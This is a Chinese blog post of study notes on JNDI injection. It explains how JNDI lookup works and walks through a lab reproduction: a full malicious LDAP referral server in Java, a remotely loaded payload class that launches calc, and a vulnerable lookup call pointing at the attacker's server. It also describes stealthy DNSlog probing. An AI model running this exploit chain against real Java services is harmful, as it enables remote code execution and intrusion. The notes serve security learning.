当前位置:   article > 正文

JNDI注入漏洞的原理和复现_jndi漏洞如何运用

jndi漏洞如何运用

前言

这一篇文章是我的学习笔记,请各位批评指正,感谢

JNDI的概念

JNDI(Java Naming and Directory Interface),即Java命名和目录接口,它用于给Java应用程序提供命名和目录访问。举例来说,在生产环境当中,Java需要通过JDBC来实现与数据库之间的连接,在连接之前,Java需要获取数据库的访问链接(如:jdbc:mysql://IP地址:端口?user=xx&password=xx)。而这个链接因环境和需求的不同,可能发生多次的变化,所以需要一个目录来提供多个访问链接,使得Java程序能够动态地访问不同的数据库。这时,JNDI就派上了用场。JNDI可以将多个对象绑定至JNDI当中的Context对象当中,以类似文件目录的结构进行存储,当Java程序需要获取链接对象时,只需要调用JNDI的lookup函数即可在此目录结构中找到指定的对象。

JNDI的服务提供者

JNDI的服务提供者主要有以下几种:
RMI(Java远程方法调用)
LDAP(轻量级目录访问协议)
CORBA(公共对象请求代理体系结构)
DNS(域名服务)

JNDI中lookup函数的工作原理

某Tomcat服务器内JNDI资源文件中的内容:

 
<?xml version="1.0" encoding="UTF-8"?>
 
<Context>
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
 
    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--<Manager pathname="" />-->
 
    <Resource name="jdbc/mysql" auth="Container"
              type="javax.sql.DataSource" driverClassName="com.mysql.jdbc.Driver"
              url="jdbc:mysql://127.0.0.1:3306/task"
              username="root" password="123456" maxTotal="20" maxIdle="10"
              maxWaitMillis="-1"/>
</Context>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

Servlet获取请求后,将参数封装并用此方法查询数据库:

public class Test{
	public static String doSearch(String name){
		try{
			Context ctx=new InitialContext("资源文件");
			DataSource ds=(DataSource)ctx.lookup("jdbc/mysql"); //通过name属性的值找到相应对象,并返回一个Object对象,向下强转为DataSource
			Connection con=ds.getConnection();	//成功获取到了Connection对象
			...省略...
			return "查询结果";
		}catch(Exception e){
			//pass
		}
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
lookup函数在其中所做的操作:
1.传入名称参数:程序员向lookup中传入一个字符串参数,这个参数可以使用多种协议,比如LDAP或RMI
2.中间层处理:lookup函数会截取传入参数中代表协议的字符串子串,然后根据协议的不同进行不同处理
3.返回结果:一旦匹配到资源和服务,lookup函数就会返回一个DataSource对象,可以通过此DataSource对象提供的接口来实现各种操作

JNDI注入漏洞的攻击流程

前置条件:
1.传入lookup函数的参数可控
2.黑客需要部署一个LDAP或RMI服务器和一个HTTP服务器
3.黑客将被攻击端需要执行的代码编译为.class文件后部署在HTTP服务器中
4.被攻击端可以访问到黑客部署的任何服务器
攻击流程:
1.黑客向lookup函数中注入一段uri,如:ldap://192.168.10.2:7777/Example
2.被攻击端的Java程序访问192.168.10.2主机上7777号端口的LDAP服务,并且携带参数Example
3.LDAP服务器返回一个HTTP地址,被攻击端的Java程序访问HTTP服务器获取Payload并执行

以LDAP的方式复现注入漏洞

LDAP服务器:192.168.10.2:7777
HTTP服务器:192.168.10.3:80(可以使用PHPstudy部署)

首先,部署LDAP服务器,这里可以使用LDAPSDK编写一个简单的服务器:

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.ldap.sdk.Entry;

public class LdapServer {
	private static final String LDAP_BASE="dc=example,dc=com";
	
	public static void main(String[] argsx) {
		String[] args=new String[] {"http://192.168.1.36/#Example"};	//要返回的HTTP地址,#号之后是部署在HTTP服务器上的Payload资源名称(Example.class,这里的“.class”省略,因为在后面会进行拼接)
		
		int port=7777;	//LDAP服务器监听端口
		try {
			InMemoryDirectoryServerConfig config=new InMemoryDirectoryServerConfig(LDAP_BASE);
			config.setListenerConfigs(
					new InMemoryListenerConfig(
							"listen",
							InetAddress.getByName("0.0.0.0"),
							port,
							ServerSocketFactory.getDefault(),
							SocketFactory.getDefault(),
							(SSLSocketFactory)SSLSocketFactory.getDefault()	
					)
			);
			config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
			InMemoryDirectoryServer ds=new InMemoryDirectoryServer(config);
			System.out.println("Listening on 0.0.0.0");
			ds.startListening();
		}catch(Exception e) {
			e.printStackTrace();
		}
	}
	
	private static class OperationInterceptor extends InMemoryOperationInterceptor{
		
		private URL codebase;
		
		public OperationInterceptor(URL cb) {this.codebase=cb;}
		
		public void processSearchResult(InMemoryInterceptedSearchResult result) {
			String base=result.getRequest().getBaseDN();
			Entry e=new Entry(base);
			try {
				sendResult(result, base, e);
			}catch(Exception e1) {
				e1.printStackTrace();
			}
		}
		
		protected void sendResult(InMemoryInterceptedSearchResult result,String base, Entry e) throws LDAPException,MalformedURLException{
			URL turl=new URL(this.codebase,this.codebase.getRef().replace('.', '/').concat(".class"));
			System.out.println("Send LDAP reference result for" + base + "redirecting to" + turl);
			e.addAttribute("javaClassName","foo");
			String cbstring=this.codebase.toString();
			int refPos=cbstring.indexOf('#');
			if(refPos>0) {
				cbstring=cbstring.substring(0,refPos);
			}
			e.addAttribute("javaCodeBase",cbstring);
			e.addAttribute("objectClass","javaNamingReference");
			e.addAttribute("javaFactory",this.codebase.getRef());
			result.sendSearchEntry(e);
			result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
		}
		
	}
	
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82

在HTTP服务器上部署的payload资源,即“Example.class”的内容:请注意,编译java文件的JDK版本应与被攻击端的JDK版本兼容

public class Example{
	static{
		try{
			Runtime.getRuntime().exec("calc"); //弹出计算器
		}catch(Exception e){

		}
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

被攻击端的JNDI程序模拟:

import javax.naming.*;	//引入JNDI支持包

public class Test{
	public static void main(String args[]){
		InitialContext ctx=new InitialContext();
		ctx.lookup("ldap://192.168.10.2:7777/Example"); //假设传入其中的参数可控,则此服务器会访问LDAP服务器
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

以DNS的方式复现注入漏洞

以DNS的方式复现注入漏洞,本质上就是使用DNSlog的方式进行漏洞探测,这样做的好处是可以有效隐藏LDAP或RMI服务器的地址,并且由于DNS的数据包较小,容易躲过探测,更加隐蔽

DNSlog平台:https://dnslog.org/

在DNSlog平台中,生成一个唯一的子域名,然后将其作为参数传递到被攻击端的lookup函数中(dns://xxxxx.dnslog.org)
待程序执行完毕后,在DNSlog平台进行刷新,如果有查询记录出现则说明被攻击端存在JNDI注入漏洞

以RMI的方式复现注入漏洞

回头写

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读